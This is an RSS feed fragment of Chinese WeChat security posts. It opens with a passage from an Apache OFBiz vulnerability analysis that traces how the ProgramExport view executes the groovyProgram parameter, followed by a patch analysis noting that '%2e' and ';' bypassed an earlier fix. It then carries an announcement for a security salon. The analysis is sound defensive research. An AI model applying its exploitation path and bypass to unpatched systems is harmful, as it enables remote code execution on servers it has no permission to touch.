src="https://wechat2rss.xlab.app/img-proxy/?k=9c28d216&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvKkImn3BbFmdsZoE8yuq9mJkiclicib3we2MN5JuGlR2TX9kel4tkV4ibQA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">获取 requestMap 中 </span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">success</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 的响应数据，然后赋给 nextRequestResponse，其中 </span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">type</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 为</span>view<span style="font-family: Cambria;font-variant: normal;text-transform: none;">，下面进入 view 的分支；<br/>此时 eventReturn 的值是 null，740 行的逻辑表达式为 true，视图名称得到 overrideViewUri 的值</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，关键就在这里，将路径的第二部分作为视图名称赋值，后面就是进行视图渲染。</span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="249" data-backw="560" data-imgfileid="100005049" data-ratio="0.44537037037037036" width="560.010009765625" data-type="png" data-w="1080" height="249.14999389648438" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4cb78772&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvicRe76lfdrTBc8aRZZEGvKebUA6hoVOxZewiah2rDFsKoXv4NibmfKYLQ%2F640%3Fwx_fmt%3Dpng"/></span><o:page></o:page></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">获取传入的 </span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> 参数值，从 \framework\webtools\webapp\webtools\WEB-INF\controller.xml 中找到 ProgramExport 的视图信息定义在 </span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/widget/EntityScreens.xml#ProgramExport</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> 文件中。</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="241" data-backw="560" data-imgfileid="100005050" data-ratio="0.42962962962962964" width="560.010009765625" data-type="png" data-w="1080" height="240.55999755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=475b5775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Iv9hYiaQHJ7bSToMMpOl4OG4NHQRJSAg7BLDhxgakjCqBBUibILxZc7aAA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">获取到 screen 类型的视图处理器。</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="130" data-backw="560" data-imgfileid="100005048" data-ratio="0.23148148148148148" width="560.010009765625" data-type="png" data-w="1080" height="129.739990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3a807f4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvjyibXzxZQic6vqU4whc8gibgcLicfcia1lO4xWSLQV1BzicjmwndoptvWtMg%2F640%3Fwx_fmt%3Dpng"/></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">一直跟进，从 EntityScreens.xml 中获取到了ProgramExport对应的脚本文件位置 </span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/groovyScripts/entity/ProgramExport.groovy</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> ，当遍历到此文件时跟进。</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="168" data-backw="560" data-imgfileid="100005051" data-ratio="0.3" width="560.010009765625" data-type="png" data-w="1080" height="168.11001586914062" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=15cecc9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvTDb6sd2Emobo4tBYtKLFXzPaV9tqbkXGbddp7T2qxLo5Z64B3dKzibw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">检测到</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.groovy</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">后缀，进入 ProgramExport.groovy 文件，执行 </span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 参数的命令。</span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"> </span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="232" data-backw="560" data-imgfileid="100005053" data-ratio="0.4148148148148148" width="560.010009765625" data-type="png" data-w="1080" height="232.13998413085938" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a508944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvARQsDOaiclYfWg7pIWOpW1yHmtrmPRay883AdsAibib3iaGORrvricaoyTQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></p><section style="margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">18.12.13版本：</span></strong><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">  <br/></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">主要体现在将</span></span><span style="font-size: 18px;">ListTimezones<span style="font-family: Cambria;font-variant: normal;text-transform: none;">的 </span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">auth</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 改为 true，黑名单里增加</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">execute</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">关键字，ControlFilter.doFilter() 中校验了规范化前后的 url 是否一致，以此来判断 url 是否含有特殊字符。<br/></span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="388" data-backw="560" data-imgfileid="100005054" data-ratio="0.6925925925925925" width="560.010009765625" data-type="png" data-w="1080" height="387.8800048828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=79c64358&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvicexbU1l3HPa7zQ2BTctpVKCsXJSzCOlubmv7nXpENqw5GpS4H0Hj9g%2F640%3Fwx_fmt%3Dpng"/></span> <o:page></o:page></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">18.12.14版本：</span></strong><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">网上使用的 payload 是将</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">换为</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">%2e</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">或</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">;</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">来绕过 18.12.13 版本的修复代码，于是官方在 18.12.14 版本的 ControlFilter.doFilter() 中添加过滤了</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">%2e</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">和</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">;</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，不过仍然没有修复到问题关键。</span></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="170" data-backw="560" data-imgfileid="100005052" data-ratio="0.3037037037037037" width="560.010009765625" data-type="png" data-w="1080" height="170.32000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e802b534&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Iv674CBTqk7DHNISlvDpoVibhDxiccy9lAT9aum0SyloWKsbO2apLjO60w%2F640%3Fwx_fmt%3Dpng"/></span>    <o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488707">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0a11f9a5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488707%26idx%3D1%26sn%3Db84579427ed989c61f0055c8a4c11f15%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Jun 2024 17:33:00 +0800</pubDate>
    </item>
    <item>
      <title>攻防演练场景下的漏洞挖掘与治理 | 安全范儿沙龙开启</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488664&amp;idx=1&amp;sn=c8c57643a924ebd60b71ff011e5aa1e0</link>
      <description>攻防演练场景下的漏洞挖掘与治理 | 安全范儿沙龙开启</description>
      <content:encoded><![CDATA[<p>
<span>“安全范儿”沙龙</span> <span>2024-06-19 17:09</span> <span style="display: inline-block;">浙江</span>
</p>

<p>攻防演练场景下的漏洞挖掘与治理 | 安全范儿沙龙开启</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af8f630&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57MwGlhibE1HsJwiaZ3bl2icz7GzxlBrHmPR4CCgiajAk6kUr7BlvFJGAkbrvNsjBV5tl6LHCNAfu8nO6w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgba(0, 0, 0, 0.3);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzUzMzcyMDYzMw==&amp;mid=2247493249&amp;idx=1&amp;sn=c2db28da34b33996a91c3624782ec82e&amp;from=industrynews&amp;version=4.1.26.6024&amp;platform=win&amp;nwr_flag=1&amp;scene=21#wechat_redirect" textvalue="原文" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="2"><br/></a></span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section style="margin-bottom: 0px;outline: 0px;letter-spacing: 1.25px;line-height: 1.8;visibility: visible;"><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: -33px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;"><section style="outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;visibility: visible;"><section style="outline: 0px;transform: rotateZ(346deg);visibility: visible;"><section style="outline: 0px;text-align: center;visibility: visible;"><section data-lazy-bgimg="https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY39kcVGofNF1AdmYMYnHRhj5gSyWm4s9t5em1jnicwpj7ZBVnAia9v6fGQ/640?wx_fmt=png&amp;from=appmsg" data-fail="0" style="outline: 0px;display: inline-block;width: 107px;height: 60px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY39kcVGofNF1AdmYMYnHRhj5gSyWm4s9t5em1jnicwpj7ZBVnAia9v6fGQ/640?wx_fmt=png&#34;);visibility: visible;background-size: contain !important;"><section style="outline: 0px;font-size: 22px;color: rgb(255, 255, 255);visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;">6.21</strong></p></section><section style="margin-top: -8px;outline: 0px;visibility: visible;"><section style="outline: 0px;font-size: 9px;color: rgb(255, 255, 255);visibility: visible;"><p style="outline: 0px;visibility: visible;">安全范儿</p></section></section></section></section></section></section></section><section style="margin-bottom: 10px;outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;visibility: visible;"><section style="padding: 40px 20px 20px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;background-color: rgba(255, 255, 255, 0);border-style: solid;border-width: 3px 0px 0px;border-color: rgb(62, 84, 248);visibility: visible;"><section style="outline: 0px;text-align: center;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="color:#4c4c4c;"><span style="font-size: 14px;">距离第14期“安全范儿”技术沙龙还有</span></span><span style="color:#d96163;"><span style="font-size: 16px;">1</span></span><span style="color:#4c4c4c;"><span style="font-size: 14px;">天</span></span></strong><br style="outline: 0px;visibility: visible;"/></p></section></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: -5px;margin-bottom: -3px;outline: 0px;text-align: left;line-height: 0;visibility: visible;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;visibility: visible;"><img data-imgfileid="100004990" data-ratio="0.716" data-s="300,640" data-type="png" data-w="500" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section style="color: rgb(35, 141, 255);font-size: 16px;outline: 0px;text-align: center;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;">Hi，安全范儿沙龙！-漏洞挖掘与治理篇</strong></p></section><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;transform-origin: right top;visibility: visible;"><section style="margin-top: -5px;margin-bottom: -3px;outline: 0px;text-align: right;line-height: 0;visibility: visible;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;visibility: visible;"><img data-imgfileid="100004988" data-ratio="0.716" data-s="300,640" data-type="png" data-w="500" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><p style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;visibility: visible;"><br style="outline: 0px;visibility: visible;"/></p><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;text-align: unset;visibility: visible;"><p style="outline: 0px;text-indent: 2.1786em;visibility: visible;">发现安全漏洞并进行高效治理是企业安全建设中的重要环节，本期沙龙嘉宾将结合真实情景，分享漏洞挖掘思路与技巧以及不同视角下如何开展高效治理。</p></section><p style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;visibility: visible;"><br style="outline: 0px;visibility: visible;"/></p><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;line-height: 0;visibility: visible;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;visibility: visible;"><img class="rich_pages wxw-img" data-imgfileid="100004991" data-ratio="0.3509259259259259" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 676.989px !important;visibility: visible !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b581055&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY3eILwiaxL2ASiav5LjaunlpPZy1Em2q4HFIBrz8KeHe5xFZwI1eG8HD7g%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;text-align: unset;visibility: visible;"><p style="outline: 0px;visibility: visible;"><br style="outline: 0px;visibility: visible;"/></p></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: -5px;margin-bottom: -3px;outline: 0px;text-align: left;line-height: 0;visibility: visible;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;visibility: visible;"><img data-imgfileid="100004992" data-ratio="0.716" data-s="300,640" data-type="png" data-w="500" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section style="color: rgb(35, 141, 255);font-size: 16px;outline: 0px;text-align: center;visibility: visible;"><p style="outline: 0px;visibility: visible;"><strong style="outline: 0px;visibility: visible;">错过本次沙龙，你可能会错过</strong></p></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: -5px;margin-bottom: -3px;outline: 0px;text-align: right;line-height: 0;visibility: visible;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;visibility: visible;"><img class="rich_pages wxw-img" data-imgfileid="100004989" data-ratio="0.716" data-s="300,640" style="outline: 0px;vertical-align: middle;width: 23.9915px !important;visibility: visible !important;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3b6a9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY32uts1iaHh7K0ulLCqQUx7sOl4gSIcMibHSQJ2ibZIKicT7xGrfVxJRiavwg%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;text-align: center;visibility: visible;"><p style="outline: 0px;visibility: visible;">抖音电商特有风险介绍及治理</p><p style="outline: 0px;visibility: visible;">字节内部漏洞治理流程和经验</p><p style="outline: 0px;visibility: visible;">HW筹备之蓝军攻击技法</p><p style="outline: 0px;">云上多场景容器逃逸/接管</p></section><section style="color: rgb(76, 76, 76);font-size: 14px;margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="margin-bottom: -22px;outline: 0px;text-align: right;transform: translate3d(40px, 0px, 0px);"><section data-lazy-bgimg="https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY39kcVGofNF1AdmYMYnHRhj5gSyWm4s9t5em1jnicwpj7ZBVnAia9v6fGQ/640?wx_fmt=png&amp;from=appmsg" data-fail="0" style="outline: 0px;display: inline-block;width: 89px;height: 42px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY39kcVGofNF1AdmYMYnHRhj5gSyWm4s9t5em1jnicwpj7ZBVnAia9v6fGQ/640?wx_fmt=png&#34;);background-size: contain !important;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;font-size: 19px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><strong style="outline: 0px;">6.21</strong></p></section></section><section style="margin-top: -8px;outline: 0px;text-align: center;"><section style="outline: 0px;font-size: 9px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(72, 126, 252);">安全范儿</span></p></section></section></section></section><section style="outline: 0px;justify-content: center;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(72, 126, 252);min-width: 5%;height: auto;"><section style="outline: 0px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section data-lazy-bgimg="https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY3PDCu548wNSNAcFNpickibXj4x4KQv2ZVhuicBP7AdFq8YMuuuZldhvrlQ/640?wx_fmt=png&amp;from=appmsg" data-fail="0" style="padding-right: 10px;padding-left: 10px;outline: 0px;display: inline-block;width: 214.247px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-position: 66.4093% 0%;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/gAcolpf06Wrc9eRvZUmicIWcichwNSOeY3PDCu548wNSNAcFNpickibXj4x4KQv2ZVhuicBP7AdFq8YMuuuZldhvrlQ/640?wx_fmt=png&#34;);background-size: 199.315% !important;"><section style="outline: 0px;"><section style="outline: 0px;text-align: center;font-size: 11px;color: rgb(255, 255, 255);"><p style="outline: 0px;text-align: left;"><span style="outline: 0px;background-color: rgb(53, 215, 255);">SECURITY</span></p></section></section><section style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="outline: 0px;text-align: center;"><section style="outline: 0px;text-align: justify;font-size: 17px;color: rgb(255, 255, 255);"><p style="outline: 0px;text-align: center;"><strong style="outline: 0px;">硬核议题，一睹为快</strong></p></section></section></section><section style="padding-left: 6px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><section style="outline: 0px;text-align: center;line-height: 0;"><section style="outline: 0px;vertical-align: middle;display: inline-block;line-height: 0;width: 24px;height: auto;"><img data-imgfileid="100004993" 